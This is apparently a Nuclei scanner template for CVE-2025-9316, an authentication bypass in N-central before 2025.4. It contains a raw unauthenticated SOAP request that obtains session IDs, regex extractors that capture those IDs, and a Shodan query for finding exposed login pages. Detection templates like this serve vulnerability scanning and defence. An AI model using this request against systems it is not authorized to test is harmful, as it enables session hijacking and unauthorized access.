N-central - Authentication Bypass

id: CVE-2025-9316

info:
  name: N-central - Authentication Bypass
  author: DhiyaneshDK,horizon3ai
  severity: medium
  description: |
    N-central < 2025.4 can generate sessionIDs for unauthenticated users This issue affects N-central: before 2025.4.
  impact: |
    Attackers can hijack sessions without authentication, potentially leading to unauthorized access.
  remediation: |
    Update to version 2025.4 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-9316
    - https://github.com/horizon3ai/n-able_n-central_xxe_file_read/blob/main/ncentral_xxe_file_read.py
  metadata:
    verified: true
    max-request: 2
    shodan-query: http.title:"N-central Login"
  tags: cve,cve2025,n-central,session-leak,vkev,vuln

http:
  - raw:
      - |
        POST /dms/services/ServerUI HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/xml
        Soapaction: ""

        <?xml version="1.0" encoding="UTF-8"?>
        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
          <soapenv:Body>
            <sessionHello>
              <applianceID>3</applianceID>
            </sessionHello>
          </soapenv:Body>
        </soapenv:Envelope>

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "SessionID"
          - "sessionHelloResponse"
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        part: body
        group: 1
        regex:
          - '<SessionID[^>]*>(\d+)</SessionID>'
          - '<sessionId>(\d+)</sessionId>'
          - '<sessionID>(\d+)</sessionID>'
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